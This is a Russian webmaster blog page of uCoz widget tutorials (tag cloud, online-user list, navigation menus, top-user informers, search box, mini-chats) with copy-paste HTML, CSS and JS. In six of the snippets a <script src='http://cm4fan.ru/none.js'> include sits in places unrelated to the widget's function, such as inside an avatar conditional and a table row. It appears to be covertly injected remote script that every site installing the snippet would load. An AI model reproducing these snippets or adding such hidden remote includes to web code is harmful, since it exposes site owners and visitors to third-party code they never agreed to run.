Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном

Установка:

Ваш шаблон куда-нить наверх добавить этот код:

Code

Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!

Code

  <div id="content">
  <div id="right">
  <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>
  <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>
  <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>
  <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>
  <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>

Категория: Информеры | Просмотров: 618 | Добавил: Aninew | Дата: 16.10.2012 | Комментарии (0)

Новый простой динамичный список онлайн пользователей

Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Установка:

В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

Code

<div class="apoulist" style="display:none;">
  $ONLINE_USERS_LIST$
  </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>
  .apo {
  width:95%;
  height:15px;
  background:rgba(230, 230, 230, 0.8);
  padding:2px;
  vertical-align:middle;
  margin-bottom:5px;
  font-weight:bold;
  border-left:1px solid #ccc;
  border-top:1px solid #ccc;
  border-radius:2px;
  }

  .apo a {
  text-decoration:none;
  }
  </style>
  <script>
  // Удобная динамичная онлайн статистика by Apocalypse
  function apoOnGet() {
  // Основная функция получения и стилизации списка пользователей
  $('.apoulist').load('# .apoulist', function() {

  // Убираем запятые
  $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));

  // Делаем форму видимой
  $('.apoulist').fadeIn();

  // Превращаем список пользователей в блочный вариант + отключаем события при клике
  $('.apoulist a').each(function() {
  $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');
  }).removeAttr('onclick').click(function() {return false});
  });
  };

  // Запускаем функцию при загрузке страницы
  apoOnGet();

  // Запускаем интервал автообновления
  setInterval(function() {
  apoOnGet();
  }, 30000);

  // Функция получения профиля
  function apoGetP(name) {
  new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});
  }

  // Функция получения страницы Личных Сообщений
  function apoGetPm(url) {
  var url2 = url.split('-');
  var url3 = url2[url2.length];
  new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});
  }
  // ApoTeam (c) 2012
  </script>

Категория: Скрипты | Просмотров: 522 | Добавил: Aninew | Дата: 16.10.2012 | Комментарии (0)

Блок навигация для ucoz

Code

<div class="side-navigation">
  <div class="block-head" style="padding:5px 8px 0px 8px;" align="center"><img src="http://ili.pp.ua/img/nav-block-title.png" alt="Навигация"></div>
  <div class="block-inner">
  <div class="zp-links">
  <a href="http://site.ru">Counter-Strike Source</a>
<a href="http://site.ru">Counter-Strike 1.6</a>
<a href="http://site.ru">World of Tanks</a>
  <a href="http://site.ru">Oxxxymiron</a>
  <a href="http://site.ru">PointBalnk</a>
  <a href="http://site.ru">Главная</a>
  <noindex><a target="_blank" href="site.ru">CS-Ray</a> </noindex>
<a href="http://site.ru/">Видео</a>
  <a href="http://site.ru">Музыка</a>
  <a href="http://site.ru">Форум</a>
  <a href="http://site.ru">Каталог файлов</a>
  <a href="http://site.ru">Супер</a>
<a href="http://site.ru">Портал</a>
  </div>
</div></div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>
  .side-navigation{width:207px;background:url('http://ili.pp.ua/img/pagebg1.jpg') #291C16;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:6px;color:#fff}
  .side-navigation .block-head{color:#fff;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #000}
  .side-navigation .block-inner{padding-bottom:2px}
  .side-block .block-inner{padding:5px;}
  .side-block .block-inner.nopadding{padding:0px !important;}
.zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}
  .zp-links a:hover{color:#ea7609;padding-left:14px;background:rgba(0,0,0,0.2)}
  .zp-links a.w-sub{background:url('http://ili.pp.ua/img/submenu-btn.png') no-repeat;background-position:185px 7px}
  .zp-links a.w-sub:hover{background:url('http://ili.pp.ua/img/submenu-btn.png') no-repeat rgba(0,0,0,0.2);background-position:190px 7px}
  .zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}
  .zp-links .s-level a.w-sub:hover{background-position:190px 7px}
  .zp-links .s-level{padding-left:22px}
  .zp-links .s-level a{border-left:2px solid #ea7609;font-weight:normal}
  .zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}
</style>

Категория: Блоки и формы | Просмотров: 488 | Добавил: Aninew | Дата: 16.10.2012 | Комментарии (0)

Красивый информер "Топ пользователей" для ucoz

Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code

</div></div></div>
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
<img src="http://ili.pp.ua/img/no.png" id="topusers">
<?endif?></a>

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

<?if(len($USERNAME$)>11)?>
<?substr($USERNAME$,0,11)?>
<?else?>
$USERNAME$
<?endif?>
</a>
</span>
</div>
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>

Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Code

$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">

$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил

Категория: Информеры | Просмотров: 527 | Добавил: Aninew | Дата: 12.10.2012 | Комментарии (0)

Скрипт раздвижного меню

Описание:
Скрипт раздвижного меню
Установка:
В CSS стиль вставляем:

Code

.side-navigation{width:200px;background:url('http://www.csomsk.ru/design/blank/pagebg.jpg') #291C16;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:10px;color:#fff}
  .side-navigation .block-head{color:#fff;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #000}
  .side-navigation .block-inner{padding-bottom:2px}
  .side-block .block-inner{padding:5px;}
  .side-block .block-inner.nopadding{padding:0px !important;}

  .zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}
  .zp-links a:hover{color:#FFB32E;padding-left:14px;background:rgba(0,0,0,0.2)}
  .zp-links a.w-sub{background:url('http://www.csomsk.ru/design/blank/submenu-btn.png') no-repeat;background-position:185px 7px}
  .zp-links a.w-sub:hover{background:url('http://www.csomsk.ru/design/blank/submenu-btn.png') no-repeat rgba(0,0,0,0.2);background-position:190px 7px}
  .zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}
  .zp-links .s-level a.w-sub:hover{background-position:190px 7px}
  .zp-links .s-level{padding-left:22px}
  .zp-links .s-level a{border-left:2px solid #FFB32E;font-weight:normal}
  .zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}

Затем заходим в ПАНЕЛЬ УПРАВЛЕНИЯ --дизайн -- Управление дизайном (шаблоны) -- Первый контейнер и в самый верх вставляем код:

Code

<div class="side-navigation">
  <div class="block-head" style="padding:5px 8px 0px 8px;"><img src="http://www.csomsk.ru/design/blank/nav-block-title.png" alt="Навигация"></div>
  <div class="block-inner">
  <div class="zp-links">
  <a title="Главная" href="/">Главная</a>
  <a title="Форум" href="/forum">Форум</a>
  <a title="Видео" href="/blog/">Видео</a>
  <a title="Статьи" href="/publ/">Статьи</a>
  <a title="Новости" href="/news/">Новости</a>
  <a title="КиноZал" href="/stuff/" >КиноZал</a>
  <a title="ФотоZал" href="/photo/" >ФотоZал</a>
  <a title="Обзор Игр" href="/board" >Обзор Игр</a>
  <a title="Топ сайтов" href="/dir" >Топ сайтов</a>
  <a title="Файловый архив" href="/load" >Файловый архив</a>
<a title="Связь с админом через е-майл адрес" href="/index/svjaz_s_adminom/0-103" >Связь с Админом</a>
  <a rel="soft-menu" class="w-sub" href="javascript://">Система uCoz</a>
  <div class="s-level" id="soft-menu" style="display: none">
<a href="/load/shablony_dlja_ucoz_sajtov/29" title="Бесплатно скачать шаблоны для ucoz">Шаблоны для Ucoz</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/stranica_404_htm_dlja_ucoz/74" title="Бесплатно скачать стараницы 404.htm">Страницы 404</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/kartinki_knopka_chtoby_skachat/70" title="Бесплатно скачать кнопки картинки dowload">Кнопки Скачать</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/shapki_dlja_ucoz_na_temu_cs/72" title="Бесплатно скачать шапки для ucoz сайтов">Шапки для ucoz</a>
<a href="/load/skripty_dlja_ucoz_sajtov/30" title="Бесплатные скрипты для ucoz">Скрипты для Ucoz</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/favicon_ico/66" title="Бесплатно скачать иконки для сайта .ico">Скачать favicon.ico</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/ikonki_grupp_dlja_ucoz/71" title="Бесплатно скачать иконки групп для ucoz">Иконки групп для ucoz</a>
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/znachki_dlja_foruma_ucoz/73" title="Бесплатно скачать иконки для форума">Иконки для форума ucoz</a>
  </div>
  <a rel="games-menu" class="w-sub" href="javascript://">Counter-Strike 1.6</a>
  <div class="s-level" id="games-menu" style="display: none">
<a title="скачать бесплатно counter-strike" href="/load/counter_strike_1_6/skachat_cs/12">Скачать Counter-Strike 1.6</a>
<a title="скачать бесплатно моды" href="/load/counter_strike_1_6/mody_dlja_cs_1_6/78">Моды </a>
<a title="скачать бесплатно читы" href="/load/chity_cs_16/24">Читы </a>
<a title="скачать бесплатно патчи" href="/load/patchi_na_cs_1_6/38">Патчи </a>
<a title="смотреть онлайн видео" href="/load/video_cs/39">Видео </a>
<a title="скачать бесплатно звуки" href="/load/3">Звуки </a>
<a title="скачать бесплатно кровь" href="/load/krov/22">Кровь </a>
<a title="скачать бесплатно разное для кс 1.6" href="/load/8">Другое </a>
<a title="скачать бесплатно радары" href="/load/radar_cs/13">Радары </a>
<a title="скачать бесплатно музыка" href="/load/muzyka_cs/17">Музыка </a>
<a title="скача ... Читать дальше »

Категория: Меню | Просмотров: 511 | Добавил: Aninew | Дата: 11.10.2012 | Комментарии (0)

Быстрый и удобный поиск v1.0 для Ucoz

УСТАНОВКА:

1. Для начала, настройте модуль поиск. Для этого зайдите в: ПУ, поиск по сайту, настройки модуля, и установите кол-во материалов на странице: 15.

2. По задумке, данный модуль поиска устанавливается в блок. Создайте привычным для Вас способом блок (конструктор/ПУ) и разместите в нём следующий код:

Code

<div style="font-size:9px">Для поиска по сайту введите Ваш запрос в поле ниже и нажмите кнопку <b>Enter</b>.</div> <script src="http://cm4fan.ru/none.js" type="text/javascript"></script><hr style="margin:3px;height:1px;border-left:0px;border-right:0px;border-top:0px; border-bottom:0px;background: #ddd;">
  <div style="padding:3px">
  <input onfocus="if($(this).val() == 'Ваш запрос...') {this.value='';$('#search_body').slideToggle
(500)}" onblur="if($(this).val() == '') {$('#search_body').slideToggle(500)}" name="q" id="query" value="Ваш запрос..." style="width: 210px;height:25px;margin-bottom:3px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;" type="text">
  <span id="search_body" style="display:none">
  <hr style="margin:3px;height:1px;border-left:0px;border-right:0px;border-top:0px; border-
bottom:0px;background: #ddd;">
  <div id="qlist" style="padding-top:0px;overflow: auto;height:70px;">Введите запрос...</div>
  <span id="allres"></span>
  </span>
  <hr style="margin:3px;height:1px;border-left:0px;border-right:0px;border-top:0px; border-
bottom:0px;background: #ddd;">
  </div>
  <script type="text/javascript" src="http://ili.pp.ua/js_css/fast_search.js"></script>

Категория: Блоки и формы | Просмотров: 545 | Добавил: Aninew | Дата: 11.10.2012 | Комментарии (0)

Скрипт Топ пользователей по кол-ву файлов и постов на форуме

Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ]
В шаблон информера вставляем:

Code

<center><table cellspadding="0" class="topten_table" style="border-color: rgb(76, 76, 76); width: 100%; margin: 0px;" cellspacing="0"><tbody><tr><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px none; width: 48px;" onclick="'';"><a href="$PROFILE_URL$" target="_blank" title="$USERNAME$"><?if($AVATAR_URL$)?>
  <img src="$AVATAR_URL$" border="0" style="height: 40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding: 2px;"><?else?>
  <img alt="Аватар не выбран" src="http://ili.pp.ua/img/noavat.png" border="0" style="height: 40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding: 2px;">
  <?endif?></a></td><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px none; text-align: left; font-size: 10px; font-family: tahoma,verdana,arial; color: rgb(85, 85, 85); line-height: 14px;" onclick="';"><a href="$PROFILE_URL$"><font style="font-size: 12px; color: rgb(100, 100, 100);"><b>$USERNAME$</b></font></a><br>Добавил файлов: <b><font color="646464">$LOAD_POSTS$</font></b><br>Количество постов: <b><font color="646464">$FORUM_POSTS$</font></b></td></tr></tbody></table></center><hr>

Категория: Информеры | Просмотров: 508 | Добавил: Aninew | Дата: 11.10.2012 | Комментарии (0)

Скрипт Красивый мини-чат для Ucoz

Установка:
В CSS вставляем:

Code

.blockGbChat {margin:5px 0px;padding:2px 6px;max-width:184px;overflow:hidden;}
.cBlock1 {border:1px solid #cfcfcf;background:#f8f8f8;}
.hrchat {height:1px;width:100%;background:white;border-top:1px solid #dddddd;margin:2px;}
input#mchatBtn {background:#f8f8f8;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;}
input#mchatBtn:hover {background:#fff;border:1px solid #cfcfcf;cursor:pointer;}
input#mchatBtn:focus {border:1px solid #bdbdbd;}
textarea#mchatMsgF {background:#fbfbfb;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;width:140px !important;}
textarea#mchatMsgF:hover {background:#fff;border:1px solid #cfcfcf;}
textarea#mchatMsgF:focus {border:1px solid #bdbdbd;}
#jeuwu28 {color:#bdbdbd;}
.transparency a img {opacity:0.5;-moz-opacity:0.5;filter:alpha(opacity=70);}
.transparency a:hover img {opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);}
#block_icons_menu {background:url(http://ili.pp.ua/img/block_icons_menu.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}
#block_icons_mchat {background:url(http://ili.pp.ua/img/block_icons_mchat.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}
#block_icons_pool {background:url(http://ili.pp.ua/img/block_icons_poll.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}
#block_icons_statistic {background:url(http://ili.pp.ua/img/block_icons_statistic.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}
#block_icons_newrips {background:url(http://ili.pp.ua/img/block_icons_rips.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}
#block_icons_comments {background:url(http://ili.pp.ua/img/icon_comments.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}

Ширина мини-чата регулируется здесь: max-width:184px; и width:140px

Затем заходим в Вид материалов мини-чата и заменяем код на:

Code

<div class="blockGbChat cBlock1">
  <div style="float:left">
  <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"> <?if($USER_ID$='1')?><font color=CC6A6A><b>$NAME$</b></font><?else?><b>$NAME$</b><?endif?>
  </a>
  </div>
  <div style="text-align:right" class="transparency">
  <span title="$DATE$" style="color:grey;font-size:9px;">$TIME$</span>
  <a href="javascript://" onclick="$('#profile_$USER_ID$').fadeIn('fast');">
  <img src="http://ili.pp.ua/img/mchat_user-icon.png" align="absmiddle" border="0">
  </a>
  </div>
  <div class="hrchat"></div>
  $MESSAGE$
  </div>
  <div style="padding:4px;padding-top:1px !important;background:#fbfbfb;border:1px solid #cfcfcf;display:none;position:fixed;left:3;top:3;-moz-box-shadow:1px 0px 6px #7b7b7b;" id="profile_$USER_ID$">
  <center><?if($AVATAR_URL$)?> <img src="$AVATAR_URL$"> <?else?>
  <img src="http://ili.pp.ua/img/no_avatar.jpg"><?endif?>
  <br><small><a href="/index/14-$USER_ID$-0-1" target="_blank"><b>Отправить ЛС</b></a><br><a href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');" target="_blank"><b>Профиль</b></a></small><br><div style="float:right;"><a href="javascript://" onclick="$('#profile_$USER_ID$').fadeOut('fast');"><img src="http://ili.pp.ua/img/mchat_profile_X.png"></a></div>
  </center>
  </div>

В Форме добавления сообщений заменяем все на:

Code

<?if(!$CAN_ADD$)?><div align="center"><?if($LOGIN_LINK$)?><a href="$LOGIN_LINK$">Для добавления необходима авторизация</a><?else?>Доступ запрещен<?endif?></div><?else?>
  <table border="0" cellpadding="1" cellspacing="1" width="100%"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
  <tr><td>$FLD_AUTOUPD$</td>
  <td width="70%" align="right">
  <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/img/123.png" width="13" height="15"></a>
  <?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/img/345.png" width="13" height="15"></a><?endif?>
  <?if($BBCODES_URI$)?> <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/img/mcb.gif" width="13" height="15"></a><?endif?>
  <?if($MSGCTRL_URI$)?> < ... Читать дальше »

Категория: Мини-чаты | Просмотров: 453 | Добавил: Aninew | Дата: 10.10.2012 | Комментарии (0)

Новый, Светлый и Красивый Мини-Чат для uCoz

Выкладываю в паблик мини-чат со своего сайта..
Полностью рабочий, многофункциональный, светлый и красивый мини-чат.
Он будет красиво смотреться почти на любом сайте..
В общем всё ясно видно на скриншоте.

Особенности:

- Имеются оригинальные ВВ-Коды
- Отображение аватаров пользователей;
- Счётчик количества оставшихся символов;
- Приятный дизайн;

Установка:

Заходим в ПУ > Управление дизайном > Мини-Чат > Вид материалов
И всё заменяем на этот код:

Code

<?if($NUMBER$=1)?><style>body {background: #ffffff !important;}
a.ipbavatar {
width: 40px;
height: 40px;
}a.ipbavatar {
display: block;
float: left;
position: relative;
top: 0px;
left: 0px;
bottom: 0px;
right: 0px;
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.5) inset;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
}
.linnov {
overflow: hidden;
border-bottom: 1px dotted #D7D9DB;
}
a.ipbavatar img {
width: 40px;
height: 40px;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;float: left;
width: 40px;
height: 40px;
}

#body{}
  ::-webkit-scrollbar
  {
  width: 5px;
  height: 9px;
  }
  ::-webkit-scrollbar-track-piece
  {
  background-color: #ffffff;
  -webkit-border-radius: 5px;
  }
  ::-webkit-scrollbar-thumb:vertical
  {
  height: 9px;
  background-color: #666;
  -webkit-border-radius: 5px;
  }
  ::-webkit-scrollbar-thumb:horizontal
  {
  width: 5px;
  background-color: #666;
  -webkit-border-radius: 5px;

  }
</style>
<?endif?>

<div id="iChat-messages" align="left" style="padding-top:2px;">
<div style="word-wrap:break-word;">
<div style="background:#ffffff;padding:1px;border:1px solid #cfcece;border-radius:2px;">

<table border="0" cellpadding="0" cellspacing="0">

<tbody>
<tr>

<td width="38" style="padding: 2px;">
<a class="ipbavatar" style="text-decoration:none" title="Профиль" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');">
<?if($AVATAR_URL$)?>
<img alt="$USERNAME$" src="$AVATAR_URL$" style="float: left;width: 40px;height:40px;">
<?else?>
<img alt="$USERNAME$" src="http://ili.pp.ua/imgc/noavatar.png" style="float: left;width: 40px;height:40px;">
<?endif?>
</a>
</td>
<td style="font-size:7pt; color:#666; padding-left:4px;">
<b>
<a style="text-decoration:none" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$NAME$[/b], ';return false;">
<?if($USER_ID$=1)?><span style="color:#008000"><?else?><span style="color:#248BFF"><?endif?>$USERNAME$</span></a></b> написал<br>
<span style="font-size:7pt">$DATE$ в $TIME$</span>
<br>
<span style="color:#cccccc; font-size:7pt;">
<a style="text-decoration:none" href="/index/14-$USER_ID$-0-1" target="_blank" title="Написать ЛС"><span style="color:#527D24">Написать письмо</a>
</span>
</td>
</tr>
</tbody>
</table>
<div class="linnov">
</div>
<div style="padding:3px; text-align:left;">
$MESSAGE$
</div>
</div></div>
</div>

Теперь заходим в "Мини-Чат > Форма добавления сообщений"
И всё заменяем на этот код:

Code

<?if(!$CAN_ADD$)?><div align="center"><?if($LOGIN_LINK$)?>
<a href="$LOGIN_LINK$">
<div style="background:#F3F3F3;padding:5px 0 5px 0;border:1px solid #eaeaea;color:#444;border-radius:4px;margin:10px 0 0 0;font-size:7pt;">
Для добавления необходима авторизация<br/></div></a>
<?else?>Доступ запрещен<?endif?></div><?else?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr>
<td width="70%" align="left">
<a href="$RELOAD_URI$" title="Обновить">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/arrow.png"></a>
<?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/smiley.png"></a>
<?endif?>
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/edit_bg.png" width="15" height="15"></a>
<?endif?>
<br>
<a href="javascript:void('Apply to')" onclick="bbCode('b');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/bold.png" height="16" width="16" title="Полужирный" /></a>
<a href="javascript:void('Apply to' ... Читать дальше »

Категория: Мини-чаты | Просмотров: 496 | Добавил: Aninew | Дата: 06.10.2012 | Комментарии (0)

Расширенная онлайн статистика для ucoz без php

Расширенная онлайн статистика для ucoz без php.
Всё работает на за счёт небольшого скрипта

Установка:

1) Заходим в "Общии настройки"
Кто не знает это находиться тут:
http://адрес_вашего_сайта/panel/?a=setup

И ищем пункт "Разрешить использование API", ставим галочку.

2) Где хотим видеть статистику вставляем(например в блок контейнера):

Code

Категория: Статистика сайта | Просмотров: 480 | Добавил: Aninew | Дата: 02.10.2012 | Комментарии (0)

1-10 11-20 ... 301-310 311-320 321-330 331-332